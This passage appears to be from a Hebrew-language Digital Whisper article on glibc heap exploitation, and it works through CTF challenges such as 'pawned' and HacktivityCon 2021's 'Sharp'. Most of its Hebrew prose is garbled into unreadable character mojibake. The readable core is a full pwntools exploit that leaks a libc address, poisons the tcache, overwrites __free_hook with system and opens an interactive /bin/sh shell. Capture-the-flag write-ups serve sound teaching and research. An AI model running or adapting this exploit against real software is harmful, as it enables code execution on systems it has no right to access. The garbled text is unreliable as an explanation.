bins ˫˧ˮ˷ˬ˷ ˵˪˥ ˢˬ-data ˪˷ s-chunk ˪-metadata ˫ˢ˪˷ .˸˥˞ ˫˧˩˶ˡˢˬ ˠ˧˷ˢ˪ ˸˟ˣ˸˩ ˸˞ˤ˩˷ 

˞˧ˢ ˸˶ˤ˰˟ s-metadata ˪˷ unsorted chunk )˷ˬ˸˷ˢ˪ ˠ˞˟˟ s-UAF ˧ˡ˩ ˞ˣ˶˵˪ ˢ˸ˣ˞( . 

http://www.seclab.cs.stonybrook.edu/seclab/pubs/seclab15-12.pdf
http://www.seclab.cs.stonybrook.edu/seclab/pubs/seclab15-12.pdf
https://sites.cs.ucsb.edu/~chris/research/doc/usenix15_elf.pdf
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˭˩˪ ˢ˴˶ˮ ˸ˣ˴˵ˢ˪ large-sized chunk ,˶˶˥˷˪ ˣ˸ˣ˞ ˶˥˞˪ˣ ˭˩ˬ ˞ˣ˶˵˪ ˣˮˬˬ )ˠ˞˟ s-RAF ,˸ˣˬ˷ ˫˧˦˧˶˲ˢ 

˫˧˯˲ˡˣˬ ˫ˠ ˣˮ˞˷˩ ˫˧˷˵˟ˬ ˸ˣˮ˵˪ Item ˞˪ˣ ˵˶ ˶ˣ˟˰ ˸˷˵˟ ˢ˯˲ˡˢ( 

˫˧˷ˮ ˟˪ ˪ˡˣˠ˷ chunk s"˧˪ˣˢ˧ˮ "˞ˣˢ ˡ˧ˬ˸ 0x30 ,˫˞ ˷ˬ˸˷ˮ ˭˧˟ ˶˞˷ˢ ˣ˸ˣ˞˟ ˪ˡˣˠ ˶ˣ˟˰ ˨˶ˣ˞ ˫˷ˢ 

ˣˮ˞˷ ˫˧˷˵˟ˬ ˭˧ˤˢ˪ ,˪˩ˣˮ ˶ˤ˥ˬ˪ ˫˸ˣ˞ ˶˥˞˪ ˣ˶˶˥ˣ˷˧˷ )˭ˣˮˠˮˬ ˢ˞˴˵ˢˢ ˶˥˟˧ ˢˤ˟ ˞˴ˬˮ˷ ˷˞˶˟ s-

0x30 tcachebin .( 

˨˶ˡ ˸˲˯ˣˮ ˪˟˵˪ libc leak )˸ˣ˥˲˪ ˸˧˸˶ˣ˞˸ (˷ˣ˶ˡ˸˷ ˶˸ˣ˧ ˳ˬ˞ˬ ,˞˧ˢ ˫ˣ˶ˠ˪ ˨˩˪ ˞˪˷ ˣ˧ˢ˧ null bytes 

-˟qword ˭ˣ˷˞˶ˢ ˪˷ chunk ˪˧˩ˬˢ ˫˷ ˦˧˶˲ )˨ˣ˶˞˟ н qword ˸ˣ˥˲˪ ,(˶˶˥˷˪ ˣ˸ˣ˞ ˪˞ s-tcache 

˞ˣ˶˵˪ˣ ˸˞ ˢˡ˷ s-key ˣ˪˷ )˫ˠ xʕ ˸˟ˣ˸˩ ˢˬ-main_arena ,˸ˣ˥˲˪ ˢ˯˶ˠ˟ н.ом( 

˭˲ˣ˞˟ ˧˪˪˩ ˭˸˧ˮ ˠ˧˷ˢ˪ ˸˟ˣ˸˩ ˪˷ libc ˨ˣ˸ˬ ˢˬ˩ ˸ˣˬˣ˵ˬ ,˸ˣ˪˸˩ ˸˧ˮ˩ˣ˸˟ ˠ˞˟˟ˣ ˣ˸ˣ˞ ˫˧˪˴ˮˬ .˭˸˧ˮ 

˞ˣ˴ˬ˪ ˭˸ˣ˞ ˟-section ˪˷ s-.got.plt ,˸ˣ˶˥˞ ˸ˣ˶ˤˣ˲ˬ ˪˰ libc ˢˬ˴˰ ˟ˣ˶ˣ ˫˧˧ˣ˩˧˯ˢ ˫ˠ˷ ˪˰ ˧˟ˠ ˸ˣ˧˶˲˯ 

˸ˣ˲˯ˣˮ ˸˧ˮ˩ˣ˸ˢ˷ ˸˷ˬ˸˷ˬ ˭ˢ˟ .˪˰ ˸˧ˮ˯˥ˬˢ ˷˧ ˶ˡ˟"˩ ˫ˠ ˣ˪˞˩ ˰˲˷˟ .˸˪ˣ˩˧ˢ ˠ˧˪ˤˢ˪ ˸ˣ˟ˣ˸˩ 

ˣ˪˞˩˷ ˨ˣ˸ˬ s-heap ˢˮˣ˸ˮ ˢ˧ˡ˯˥˪ ˪˷ ˸˧ˮ˩ˣ˸ˢ ˢ˸ˣ˞ ˫˧˲˵ˣ˸ ,˭˩˸˧˧ ˞˧ˢ˷ ˸˶ˬˣ˷ ˸ˣ˟ˣ˸˩ ˪˷ libc ˪˰ 

-sheap ˢ˪˷ ˭˩˸˧˧ˣ ˞˪˷ . 

˸ˣ˧ˮ˩ˣ˸ ˷ˣˬ˧˷˟˷ ˫˪ˣ˰˟ ˧˸˧ˬ˞ˢ ˡ˟"˩ ˣˮ˯˥˞˧ ˰ˡ˧ˬ ˭˧˧ˮ˰ˬ ˢ˟˶ˢ ˶˸ˣ˧ ˪˰ s-heap ˭ˢ˪˷ ,˵˪˥ 

˸ˣ˧˴˵ˮˣ˲ˢˬ ˪˷ glibc ˸ˣ˷ˣ˰ ˷ˣˬ˧˷ ˟-heap ˭ˬ˴˰˟ ,˭ˣˠ˩ ˸˪˥˸ˢ thread ˷ˡ˥ ,ˤ˞ ˭˩˸˧˧ ˪˩ˣˮ˷ ˠ˧˪ˤˢ˪ 

ˣ˪˞˩ .ˢˡ˧ˬ˟ ˱˞ˣ ˡ˥˞ ˸ˣ˦˧˷ˢˬ ˮˢ"˪ ˞˪ ˢ˪˧˰ˣˢ ,˳˪˞ˮ ˸ˣ˲˩˪ ˪˰ chunk ˯ˮ˩˧ˢ˪ ˨ˣ˸˪ ˡ˥˞ ˢˬ- bins 

ˡ˟ˣ˰˷ ˫˰ ˸ˣˬ˧˷˶ ˸ˣ˶˷ˣ˵ˬ xl-˸ˣ˧ˮˣˣ˧˩ ˧ˡ˩ ˟˸˩˧˸˷ ˸˟ˣ˸˩ ˸˧˷ˣˬ˧˷ ˞˪˷ ˸˩˧˧˷ ˪-heap ˪˰ ˧˟ˠ s-

heap .˟ˣ˷˥ ˭˧˧˴˪ ˷˧˷ ˪ˣ˵˷˪ ˫˞ ˪˪˩˟ ˨˧˶˴ ˠ˧˪ˤˢ˪ ˰ˡ˧ˬ. 

˸˞ ˸˪ˣ˩˧ s-arbitrary write ˨˶˦˴ˮ ˠ˧˷ˢ˪ ˰"˧ ˟ˣ˪˧˷ ˪˷ ˠ˞˟ s-WAF )manage_items() (ˡ˥˧ ˫˰ 

ˢ˲˵˸ˬ ˸˰ˠˣˮˢ ˡ˥˞˪ ˸ˣˡ˷ˢˬ ˷˧˷ ˣˮ˪ ˢ˦˧˪˷ ˫ˢ˧˪˰ ˨ˣ˸˟ chunk ˱˧˧ˣˤˬ ˢˮ˟ˮ˷ .ˢ˦˧˪˷ˢ ˸˧˶˵˧˰ˢ 

ˣˮ˪˷ ˸ˮ˧˥˟ˬ ˸ˣ˟˧˸˩ ˞˧ˢ ˪˰ s-qword ˭ˣ˷˞˶ˢ ˧˰˧˟˶ˢˣ ˪˷ s-data .˭ˣˣ˧˩ˬ ˡ˟˷"˩ ˱˧ˡ˰ˮ ˱ˣ˵˸˪ bins 

˫˧ˡ˟ˣ˰ˢ ˫˰ ˸ˣˬ˧˷˶ ˸ˣ˶˷ˣ˵ˬ ˡ˥ ˸ˣ˧ˮˣˣ˧˩ ,˧ˡ˩ˣ ˪˟˵˪ ˡˣ˵ ˶˴˵ ˶˸ˣ˧ ,˶˥˟ˮ ˱ˣ˵˸˪ ˸˞ s-tcache .ˢ˴˶ˮ 

˶˷˵˪ ˣ˧˪˞ chunk ˱˧˧ˣˤˬ ˢ˷-data ˣ˪˷ ˱˲ˣ˥ ˪-free_hook . 

˪˧˥˸ˮ ˸˞ ˭ˣ˶˸˲ˢ ˸ˣ˷˵˟˟ ˸ˣ˞˟ˢ: 

sell(1337,0x418,b "item A") # Allocate a large chunk so that when freed it  

                           # will reach the unsorted bin, and  not  the tcache  

 

sell(1337,0x18,b "item B")  # To avoid consolidation of 1'st large chunk with top  

                           # chunk  

buy(1)  

buy(2)                      # If  chunk 2 was  in  "Large size ", it's name chunk  

                           # would've  

                           # been consolidated here with top chunk (unlike  for  

                           # 0x20)  

  

https://github.com/CptGibbon/CVE-2021-3156
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˵ˣˡ˟ˮ ˸˞ ˟˴ˬ s-heap ˸ˣ˰ˬ˷ˬˣ ˸˟ˣ˸˩ˢ ˢ˰˧˲ˣˬˢ ˣ˩ˣ˸˟ ˶˥˞˪ ˸ˣ˞˶ˣˢ ˣ˪˞: 

 

 
..... 

 

 

 

 

˭˸˧ˮ ˸ˣ˞˶˪ ˢ˷-chunk ˪˷ ˫˷ s-item ˭ˣ˷˞˶ˢ ˪˧˩ˬ ˸˰˩ ˟-fd ˣ˪˷ )˫ˣ˵ˬ˟ ˸ˤˣ˶˥ˬ ˫˷ˢ (˫ˠˣ ˟-bk 

)˭˧˞˷ ˣˮ˪ ˢ˷˧ˠ ˣ˧˪˞ (˸˟ˣ˸˩ ˦˯˧ˢ˟ ˪˷ фс ˢˬ-main arena. 

  



 
 

House Every Weekend - glibc Heap Exploitation 
www.DigitalWhisper.co.il 

 ˭ˣ˧˪ˠмоп, ˶˟ˣ˦˵ˣ˞ нлнм  ср 
 

˪˟˞ ˢˬ ˸˲˩˞˷ ˣˮ˪ ˢ˶˵ˬ˟ ˢˤ ˞ˣˢ ˦˯˧ˢˢ ˸˟ˣ˸˩ˬ ˢˮ˧˰˦ˢ ˪˷libc  ,˶˷˲˞˷ ˞ˣ˴ˬ˪ ˣ˸ˣ˞ ˸ˣ˪˵˟ 

˸˶ˤ˰˟ ˸˟ˣ˸˩ˢ ˣˮ˞˷ ˫˧˩˪ˣˢ ˱˧˪ˡˢ˪ )˭ˣ˧˰˪ ˱˯ˣˮ ,ˣˮ˧˧˰ ˸˪˧˥˸˟ ˨ˬ˯ˬˢ ˵˪˥˟ ˪˷ Unsortedbin(: 

 

˸˰˩ ˷˧˷˩ ˣˮ˧ˡ˧˟ libc leak )ˠ˷ˣˢ ˨ˣ˸ ˧ˡ˩ ˸˷˵˟ s-buy ˶ˣ˟˰ s-item ˧ˮ˷ˢ ,(˶˥˞˪ ˶ˣ˩ˬˮ˷ item ˱˯ˣˮ 

ˢ˴˵ˣ˧˷ ˨ˣ˸ˬ ˶˴ˣ˸ ˪˷ remaindering ˪˰ s- unsorted chunk˪˟˵ˮ:  

 

 

 ˰ˠ˶˟ ˶˶˥˷ˮ˷ ˣ˸ˣ˞ )buy (˪˟˵ˮ ˧ˣ˲˴˩ ˞ˣˢ˷ )˵ˣ˶˧( x-chunk ˪ˣˢ˧ˮˢ ˣ˪˷ )˟ˣˢ˴ (ˣ˶˷ˣ˵˧ ˪-tcache: 

....... 
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˶˥˞˪ ˨ˣ˶˰ˮ˷ ˸˞ ˰ˡ˧ˬˢ ˣ˪˷ ˸˶ˤ˰˟  manage_item())˵˶ ˫˷˪ ˸˩˧˶˰ ˰ˡ˧ˬˢ  =˫˰ ˨˶ˣ˞ ˫˷ ˢˢˤ (˨˩ 

˫˷˟˷ ˟ˣ˸˩ˮ ΨκōƛƴκǎƘ\0Ω ˟x-price ˸˞ s-double ˠˣ˴˧˧ˢ˷ ˣ˪˷ ˦ˬ˶ˣ˲˟ ˢˡˣ˵ˮ ˢ˲˴ ˞ˣˢ ˸˟ˣ˸˩ˢ ˪˷ 

__free_hook ˪˟˵ˮ: 

 

 

 

˨˶˰ˢ ˭ˬˣ˯ˬˢ ˫ˣˡ˞˟ ˢ˪˰ˬ˪ ˞ˣˢ ˸˟ˣ˸˩ˢ ˪˷ s-free_hook ˸˥˸ ˧˦ˮˬˣˠ˶˞ ˢ˴˶ˢ GDB NOASLR 

˦˲˧˶˵˯˪ .˧˶˰˴˪ ˶ˠ˞˟˧ˡˢ ˫ˣ˷ˬ ˢˬ ˶˴˧ ˸ˣ˟ˣ˸˩ ˸ˣ˶˴˵ ˶˸ˣ˧ ˧ˡˬ ˸ˣ˶ˣˤˣˬˣ )˫˰˲ ˢˮˣ˷˞˶ ˧ˮ˞˷ ˪˵˸ˮ 

ˢˤ˟( ,˨˩ ˢ˷˵˷ ˭˧˥˟ˢ˪ ˨˩˟ ˫˴˰˟˷ ˣˮ˶˷˧˵ ˭˞˩ chunk ˱˧˧ˣˤˬ )˱˲ˣ˥ˢ ˪-free_hook (˪˞ s-0x30 

tcachebin. 

˫˞ ˢ˴˵ˮ ˸˰˩ item ˷ˡ˥ )˰"˧ sell ,(˫ˡˣ˵ ˢ˴˵ˣ˧ chunk ˪ˣˢ˧ˮˢ ˣ˪˷ ˪ˡˣˠ˟ 0x30 ˥˵˪˧˷ ˢˬ-chunk 

˷˞˶˟˷ s-0x30 tcachebin )ˢ˲˧˞ ˣˮ˟˸˩˷ ˸˞ ˥ˣˮ˰˧˲ˢ ˪˷ s-free_hook ˪-double ˢˡ˷˟ s-fd ˪˷ s-

tcache metadata ,˫ˣ˷˷ ˶˟ˡ ˞˪ ˢˮˣ˷˧ x˟ ˳ˣ˥ ˰˧˟˴ˬˢˬ ˪-chunk ˪˧˩˧˷ ˸˞ ˫˷ˢ ˷ˡ˥ˢ( ,-schunk 

˶ˣ˟˰ ˫˷ˢ ˣ˪˷ )ˣˮ˷˵˧˟ ˪ˡˣˠ 0x30 (˥˵˪˧ ˢˬ-chunk ˱˧˧ˣˤˬˢ ˣˮˬ˶ˠ˷ x˪ ˰˧˟˴ˢ˪ ˣ˧˪˞ ,˶ˬˣ˪˩ ˣˮ˞ ˫˧˯˶ˣˡ 

˸˶ˤ˰˟ ˢ˷˵˟ xʕ ˸˞ s-__free_hook ˫˰ system .˧˶˰˴˪ ˭˧˞ ˧˪ ˸ˣ˶˷˲˞ ˠ˟ˡ˪ ˵˪˥ ˢˤ ˟-GDB ˟˵˰ 

ˠ˞˟ˢ ˶ˤˣˬˢ ˧˸ˮ˧˧˴˷ ˢ˪˰ˬ˪ )system ˪˟˵ˬ ˸˟ˣ˸˩ "˸˧˪˧˪˷ "˞˪˷ ˭˸˧ˮ ˪˧˰˲ˢ˪ ˢ˧˪˰ p64().( 

˳˧˶ˮ ˸˥˸ ˧˞ˮ˸ production )ˢ˴˶ˢ ˢ˪˧ˠ˶ ˪˷ ˦˲˧˶˵˯ˢ .˞˪˪ GDB ,˧˪˟ˬˣ ˪˶˦ˮ˪ ˸˞ ˭ˣˮˠˮˬ s-ASLR (

˪˟˵ˮˣ shell: 
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˦˲˧˶˵˯ˢ ˞˪ˬˢ ˫˩˷ˣˬ˧˷˪ )ˢ˶˰ˢ - ˡˣ˵˟ ˞˪ ˣ˯ˮ˩ˣˢ ˸ˣ˞˧˶˵ ˪-recv/read ˡ˧ˬ ˶˥˞˪ ˪˩ ˫˰˲ ˫˧˲˴ˬ˷ 

ˢ˟ˣ˷˸˪ ˸˧ˮ˩ˣ˸ˢˬ ,˞˪˞ ˵˶ ˧˸ˬ ˨˧˶˴˷ ˳˪˥˪ ˭ˣ˸ˮ ˫˧˧ˣ˯ˬ ˣˬ˩ leak ˪˧˟˷˟ ˦˲˧˶˵˯ˢ .ˢˤ ˵˶ ˫˷˪ ˶ˣ˴˧˵ 

ˡˣ˵ˢ ,˞˪ ˧˸˧˧ˢ ˳˧˪ˬˬ ˸ˣˮ˟˪ ˫˧˦˧ˣ˪˲˯˵˞ ˢ˶ˣ˴˟ ˣˤ˩ ,˧˪ˣ˞ ˵˶ ˸ˣˮ˷˪ ˫˸ˣ˞ ˣ˪˞˩˪ ˶˥˞˪˪ ˫ˢ˷ ˶˟˩ 

˫˧˶ˣˬˠ .ˣˬ˩ ˭˩ ,˞˪ ˧˸˸ˮ ˸ˣˬ˷ ˪-chunks ˧˸˴˵ˢ˷ ˵˶ ˫ˣ˷ˬ ˶˟ˣˡˬ˷ ˟-о ˫˧˦˧˶˲ .˫ˠˡˣ˧ ˨˷ˬˢ˟( 

from  pwn import  *  

elf = context . binary = ELF( "pawned" )  

libc = ELF( "libc - 2.31.so" )  

 

def  start ():  

    if  args . GDB:  

        return  gdb . debug ( elf . path ,  gdbscript =gs )  

    else :  

        return  process ( elf . path )  

 

gs = '''  

continue  

'''  

 

def  buy ( seq_num):  

    io . sendline ( b"B" )  

    io . sendline ( str ( seq_num). encode ())  

 

def  sell ( seq_num, length , name):  

    io . sendline ( b"S" )  

    io . sendline ( str ( seq_num). encode ())  

    io . sendline ( str ( length ). encode ())  

    io . sendline ( name)  

 

def  print_users ():  

    io . sendline ( b"P" )  

 

def  manage( seq_num, price , length , name):  

    io . sendline ( b"M" )  

    io . sendline ( str ( seq_num). encode ())  

    io . sendline ( str ( price ). encode ())  

    io . sendline ( str ( length ). encode ())  

    io . sendline ( name)  

 

io = start ()  

io . timeout = 0.1  

 

sell ( 1337 , 0x418 , b"item A" )   # Allocate a large chunk so that when freed it  

                            # will reach the unsorted bin, and not the tcache  

 

sell ( 1337 , 0x18 , b"item B" )    # To avoid consolidation of 1'st large chunk with top chunk  

buy ( 1)  

buy ( 2)                       # If chunk 2 was in "Large size range", it's name chunk  

                            # would've been consilidated here with top chunk  

 

# Leak a libc address from an unsortedbin chunk which points to an offset witihn it's main 

arena  

io . readuntil ( "1. Price $ 0.000000, Name: ")              #(Only) The 1st item will have price 

of 0.000000  

libc_leak = u64 ( io . readline (). strip (). ljust ( 8, b" \ x00" ))  #leak a libc addr using unsortedbin 

fd  

libc . address = libc_leak -  0x1ebbe0                      #Calibrate libc base address  

print ( "libc base addr: @" , hex ( libc . address ))  

 

free_hook = libc . symbols [ '__free_hook' ]  

free_hook_fake_price = struct . unpack ( "<d" , p64 ( free_hook ))[ 0]  # Treat the free_hook as a 

double floating point format value  
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log . info ( f'free_hook @: {hex ( free_hook ) }, When treated as floating point 

double:{free_hook_fake_price}' )  

 

# Arbitrary size which is <= 0x418  

item_C_size = 0x38  

sell ( 1337 , item_C_size , b"Item C is a result of Item A remaindering!,But gets ID# = 3" )  

 

# Free item C to overwrite (using WAF bug) it's tcache forward pointer(fd) metadata  

# while editing its item chunk's data (edit fd and write the '/bin/sh' somewhere else in 

memory)  

# For our needs, it will no longer be treated as an item  

buy ( 3)                                   

manage( 3, free_hook_fake_pr ice , item_C_size , b"/bin/sh \ 0" )   

 

# From this point, I couldn't use a debugger. Because system address  

# was interpreted as a negative number  

# From here -  run under production conditions  

log . info ( f'system @: {hex ( libc . symbols [ "system" ]) }' )  

 

### overwrite the __free_hook with system() addr ###  

# This will allocate two 0x30 chunks from tcachebin.  

# 1st one is from the chunk where we wrote &free_hook in the price field  

# 2nd one (for the name) will be served from a fake chunk overlapping the __free_hook!  

# R embemer that tcache chunks holds pointers to the user - data and not 0x10 bytes before that.  

# This user - data is within Item - A name chunk  

# (we reused the beginning of the space that belonged to the large - sized chunk)  

sell ( 1337 , 0x28 , p64 ( libc . symbols [ 'system' ]))   

 

buy ( 1)           #Free item #1 (free(name_ptr_1) which is now system('/bin/sh \ 0')  

io . clean ()  

io . interactive ()  

˪˧ˠ˶˸ˢ ˫ˮˬ˞ ˢ˧ˢ ˦ˣ˷˲ ˸˧˯˥˧ ˨˞ ˠ˴ˣˢ ˶˵˧˰˟ ˧ˡ˩ ˷˧˥ˬˢ˪ ˢˡˣ˟˰ ˫˰ ˫˧˪˩ˢ. 
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Sharp - HacktivityCon 2021  

˶ˣ˞˧˸/ˤˬ˶ : 

"˫˧˰˧˟˴ˬ ˢˤ ˞˷ˣˮ ˪˟˪˟ˬ ,˞˪ ˶ˣ˶˟ ˧˸ˬ ˨˧˶˴ ϧ ˧˸ˬˣ ."* 

˶ˠ˸˞ˢ: 

˫˧˪˟˵ˬ ˧ˮ˷ ˫˧˴˟˵ :˳˟ˣ˵ ELF ˳˟ˣ˵ˣ libc.so ˪˷ ˢ˯˶ˠ ом.н ,˫ˠ ˭˞˩ ˞˪ ˧˸˰˴˧˟ patching/˶ˣ˷˧˵ ˪-build 

˫˧˞˸ˬ ˫˰ debug symbols )˞˪˞ ˧˸˷ˬ˸˷ˢ ˢˬ˟ ˣˮ˷˧˷ ˪˰ Ubuntu 20.04 ,(˨˞ ˧ˮ˞ ˳˧˪ˬˬ ˫˩˪ ˸ˣ˯ˮ˪ 

˸˞ ˸ˣ˦˧˷ˢ ˧˸˧ˮ˲ˢ˷ ˭ˢ˧˪˞ ˪˧ˠ˶˸˟ ˫ˡˣ˵ˢ. 

˳˧˶ˮ checksec ˪˰ ˧˶ˮ˧˟ˢ ˪˟˵ˮˣ: 

 

˪ˡ˸˷ˮ ˪˴ˮ˪ ˸˞ s-NO-PIE ˣˮ˸˟ˣ˦˪. ˸˧ˮ˩ˣ˸ˢ ˢˠ˧˴ˬ ˣˮ˧ˮ˲˟ ˯˧˯˟ ˫˧ˮˣ˸ˮ "˰ˣ˶ˠ "˨ˬˣ˸ˢ ˸ˣ˧ˣ˶˷˲˞˟ 

˸ˣ˞˟ˢ: 

 

˵˥˷ˮ ˢ˸˧˞ ˸˴˵ ˨ˣ˸˟ pwndbg )ˢ˶˦ˬ˟ ˭˧˟ˢ˪ ˸˞ ˸ˣˠˢˮ˸ˢˢ ˶˸˞˪ˣ ˫˧ˠ˞˟:( ˫˧˷ˮ ˟˪ ˶˟˩˷ ˸˪˧˥˸˟ 

˸˧ˮ˩ˣ˸ˢ ,ˢ˴˵ˣˬ chunk ˪ˡˣˠ˟ ˧˪ˬ˧ˮ˧ˬ ˪ˣ˩˧˷ ˪˧˩ˢ˪ 3qwords ˪˷ ˰ˡ˧ˬ: 

 

  

https://github.com/search?q=pawned+challenge.ctf.games&type=code
https://github.com/search?q=pawned+challenge.ctf.games&type=code
https://f4d3.io/hacktivitycon-pwn/assets/sharp
https://f4d3.io/hacktivitycon-pwn/assets/libc-2.31.so
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˱˧˯ˣˮ ˧ˮ˷ ˫˧˷ˬ˸˷ˬ ˫˧˷ˡ˥ ˵ˣˡ˟ˮˣ ˢˬ ˢ˶ˣ˵ ˪-heap: 

 

ˢ˞˶ˮ ˢ˷-chunk ˢ˴˵ˣˢ˷ ˸˪˧˥˸˟ ˸˧ˮ˩ˣ˸ˢ ˶ˬˣ˷ ˟-qword ˭ˣ˷˞˶ˢ ˣ˪˷ ˰˧˟˴ˬ ˪-chunk ˧˪ˣˢ˧ˮ )˪ˡˣˠ˟ 

0x20 ˶ˬˣ˷˷ ˰˧˟˴ˬ ˪-chunk ˪˷ ˷ˬ˸˷ˬˢ s-м ˣˮ˶˴˧˷ sx-qword ˧ˮ˷ˢ ˣ˪˷ ˶ˬˣ˷ ˰˧˟˴ˬ ˢˤ˪ ˪˷ 

˷ˬ˸˷ˬˢ ˧ˮ˷ˢ (˟ˣ-qword ˧ˮ˷ˢ ˣ˪˷ ˢˮˣˬ ˪˷ ˸ˣˬ˩ ˫˧˷ˬ˸˷ˬˢ .˱˧˯ˣˮ ˡˣ˰ ˧ˮ˷ ˫˧˷ˬ˸˷ˬ ˪˟˵ˮˣ: 

 

 

ˢˮˣˬˢ ˭˩ˡ˰˸ˢ ˧ˣ˲˴˩ ˪-0x4 ,˨˞ ˣˬ˧˷ ˟˪ ˢ˷-chunk ˷ˬ˧˷˷ ˫ˡˣ˵ ˢ˰˟˴ˢ˪ ˪˰ s-users chunks ˶˶˥ˣ˷ 

)ˢ˶˵ˬ˟ ˢˤˢ ˫˸˧˶ˣˠ˪˞ˢ ˟˸˧ˮ ˣ˸ˣ˞ ˪-0x20 tcachebin (ˣˬˣ˵ˬ˟ˣ ˢ˴˵ˣˢ chunk ˧˪ˣˢ˧ˮ ˷ˡ˥ ˡ˧ˬ ˧˶˥˞ s-

chunk ˢ˧ˢ˷ ˭ˣ˶˥˞ ˞˪ˬ˪ ˸˞ s-data ˪˷ chunk ˧˪ˣˢ˧ˮˢ ˭˷˧ˢ ˵˧ˤ˥ˢ˷ ˫˧˰˧˟˴ˬ .˞ˣˢ ˢ˴˵ˣˢ ˪ˡˣˠ˟ ˪˷ 

0x10 ˫˧˸˟ ˶˸ˣ˧ ˫ˡˣ˵ˬˬ ˶ˬˣ˷ˣ ˸˞ ˪˩ ˫˧˰˧˟˴ˬˢ ˧˲˪ ˶ˡ˯ ˫˸˶˧˴˧. 
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remove(): ˶˶˥˷ˮ ˸˞ ˷ˬ˸˷ˬˢ ˧˷˧˪˷ˢ ˫˧˷ˮˣ ˟˪ ˢˬ ˢ˶ˣ˵: 

 

ˢˮˣˬˢ ˭˦˵ ˡ˥˞˟ ˪-0x3Υ 

 

˫˧˞ˣ˶ ˢ˷-chunk ˪˷ ˷ˬ˸˷ˬˢ s-о ˶˶˥ˣ˷ ˪˞ ˷˞˶ s-0x80 tcachebin )s-Key ˣ˪˷ ˟˸˩ˮ ˪-qword 

˧ˮ˷ˢ ˪˷ s-data ,(˧˩ˣ ˰˧˟˴ˬˢ ˪-chunk ˪˷ ˷ˬ˸˷ˬ п ˵˸˰ˣˢ ˸˧ˮ˶ˣ˥˞ ˧ˡ˩ ˫ˣ˸˯˪ ˸˞ ˶ˣ˥ˢ )˶˟ˣˡˬ 

ˢˤˤˢ˟ ˢ˪˞ˬ˷ ˪˷ ˶˟˧˞ ˨˶˰ˬ ˫˧˰˧˟˴ˬˢ ,ˡ˰ ˰˧˟˴ˬˢ ˭ˣ˶˥˞ˢ ˣˮˮ˧˞˷ NULL ,˧ˡ˩ ˫ˣ˸˯˪ ˸˞ s"˶ˣ˥ "

˶˴ˣˮ˷.( 

ˢˬ ˧˟ˠ˪ ˸ˣˮ˩˸˧ˢ ˠ˞˟ double free ?ˢ˞˶ˮ ˪˩˷ ˡˣ˰ ˞˪ ˢˮ˷ˮ ˸˞ ˨˶˰ ˢˮˣˬˢ ˟-chunk ˧˪ˣˢ˧ˮˢ ,˞˪ 

ˢ˧ˢ˸ ˣˮ˪ ˸ˣ˶˷˲˞ ˶ˣ˥˟˪ ˶˶˥˷˪ ˣ˸ˣ˞ chunk ˫˧˧ˬ˰˲ ˨ˣ˸ˬ ˦˧˶˲˸ˢ ˸ˣ˪˵˟ .˫˞ ˶ˣ˴˧ˮ ˪˷ˬ˪ о 

˫˧˷ˬ˸˷ˬ ˵˥ˬˮˣ ˸˞ ˫˪ˣ˩ ,ˢˮˣˬˢ ˢ˧ˢ˧ ˯˲˞ ˣˬ˩ˣ ˭˩ ˰˧˟˴ˬˢ ˡ˧˥˧ˢ ˶˞˷ˮ˷ ˨˶˰ˬ˟ ˫˧˰˧˟˴ˬˢ ˞ˣˢ 

˭ˣ˶˥˞ˢ: 

 

swap(): ˢ˯ˮˮ ˱˧˪˥ˢ˪ ˭˧˟ ˧ˮ˷ ˫˧˷ˬ˸˷ˬ )ˣˬ˧˷ ˟˪ ˢ˷-chunks ˶ˣ˟˰ ˸ˣˬ˷ˢ ˫˧˪ˡˠ ˸ˣ˪ˣ˲˩˟ ˪˷ мну(: 
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˪˟˵ˮˣ: 

 

˶ˬˣ˪˩ ˵˶ ˫˧˰˧˟˴ˬˢ ˣ˲˧˪˥ˢ ˸ˣˬˣ˵ˬ .˧˪ˣ˞ ˢˤ ˧ˣ˷˰ ˸ˣ˧ˢ˪ ˧˷ˣˬ˧˷ ˨˷ˬˢ˪. 

edit(): ˢ˯ˮˮ ˨ˣ˶˰˪ ˸˞ ˡ˥˞ ˢˬ-chunks ˶ˣ˴˧˪ˣ overflow )˧˸˧ˮ˧˷ ˸˴˵ ˸˞ ˫˧˦˪˵ˢ ˶ˡ˯ˣ ˸ˣ˪ˣ˰˲ˢ 

ˮˢ"˪:( 

 

˪˟˵ˮˣ: 

 

˫˧˷ˮ ˟˪ ˷˧˷ ˢ˧˴˵ˮˣ˲˟ xʕ ˠ˞˟ overflow ˪˷ ˪˷ у ˫˧˸˟ ,˪˥ˢ ˢˬ-LSB ˪˷ s-qw ˪˷ s-chunk ˞˟ˢ 

)˭ˣ˶˥˞ˢ ˡ˧ˬ˸ ˢ˧ˢ˧ null byte ˪˪ˠ˟ ˢ˧˴˵ˮˣ˲ˢ ˸˷ˬ˷ˬ˷ ˸˟˧˸˩˪ ˭˩ˣ˸ˢ ,(˶ˬˣ˪˩ ˭˸˧ˮ ˸ˣˮ˷˪ ˸˞ ˢˡ˷ 

˪ˡˣˠˢ ˪˷ chunk ˟˵ˣ˰ ,˪˪ˣ˩ s-chunk ˵˧ˤ˥ˬ˷ ˸˞ ˫˧˰˧˟˴ˬˢ )˪˩ ˧ˣˮ˧˷ ˢˤ˩˷ ˰˧˲˷ˬ ˪˰ ˦˪˲ˢ ˪˷ vis (

˫ˠˣ ˶ˣ˟˰ s-top chunk . 
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˨˩˟ ˫ˮˬ˞ ˶˷˲˞ ˸ˣˮ˷˪ ˸˞ ˢˡ˷ ˪ˡˣˠˢ ˪˷ s-chunk ˵˧ˤ˥ˬˢ ˸˞ ˫˧˰˧˟˴ˬˢ ,˨˞ ˢˤ ˞˪ ˶ˤˣ˰ ˸ˣˮ˷˪ 

˸˞ s-data ˪˷ s-chunk ˢ˴˵ˣˢ˷ ˸˪˧˥˸˟ ˸˧ˮ˩ˣ˸ˢ )˪˧˩ˬˢ ˢˮˣˬ ˸ˣˬ˩ ˫˧˷ˬ˸˷ˬˢ ˰˧˟˴ˬˣ ˨˶˰ˬ˪ 

˫˧˰˧˟˴ˬˢ (˞˪˞ ˫˞ ˠ˧˷ˮ ˸˪ˣ˩˧ ˢ˟˧˸˩ ˸˟ˣ˸˩˪ ˸˧˸ˣ˶˧˶˷ ˸˶ˤ˰˟ s-bins metadata  /ˠ˧˷ˮ heap leak 

ˣ˞ ˥˧˪˴ˮ˷ ˶˟ˠ˸ˢ˪ ˪˰ ˸ˣˮˠˢˢ ˧ˮ˲ˬ House of Force ˪˷ ˢ˯˶ˠ н.ом ˸˶ˤ˰˟ ˢ˰˲˷ˢ ˪˰ ˣ˪ˡˣˠ ˪˷ av-

